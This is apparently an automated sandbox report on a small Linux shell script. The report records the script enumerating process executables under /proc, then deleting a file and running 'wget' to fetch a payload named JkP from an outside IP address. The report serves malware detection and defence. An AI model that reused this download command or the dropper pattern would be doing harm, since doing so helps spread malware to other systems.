703f9dc09a2733589edbcf06c5803162a6f09b3270e8da96eed069103dde1372

Analysis

max time kernel
144s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/06/2026, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_703f9dc09a2733589edbcf06c5803162a6f09b3270e8da96eed069103dde1372.sh
Size 835B
Sample260621-d596yact3z
SHA256 703f9dc09a2733589edbcf06c5803162a6f09b3270e8da96eed069103dde1372
MD5 a3885bc122e9bcd272f9347b33c3f039
SHA1 d7e62b3c2eb9b60b98a769d16ed965cd90b24b8c
SHA512 861ba41723a845d6f297e1eb36fc1319ac503008644a6eeadb9d129186207f5946efc1f7e97a79571a956613af414801dd74524d732ec83d1bd19412ae313dd1
TLSH
T178018CCA49806910405EEA5D36D75290B810D38E058B0BB87F9C592DFB8C808F166F94
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/_703f9dc09a2733589edbcf06c5803162a6f09b3270e8da96eed069103dde1372.sh
/tmp/_703f9dc09a2733589edbcf06c5803162a6f09b3270e8da96eed069103dde1372.sh
1⤵
PID:650
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:652
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:659
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/132/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/133/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/218/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/332/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/596/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/597/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/95/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/rm
  rm -rf JkP
  2⤵
  PID:768
- /usr/bin/wget
  wget http://129.121.114.124/JkP
  2⤵
  PID:769

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads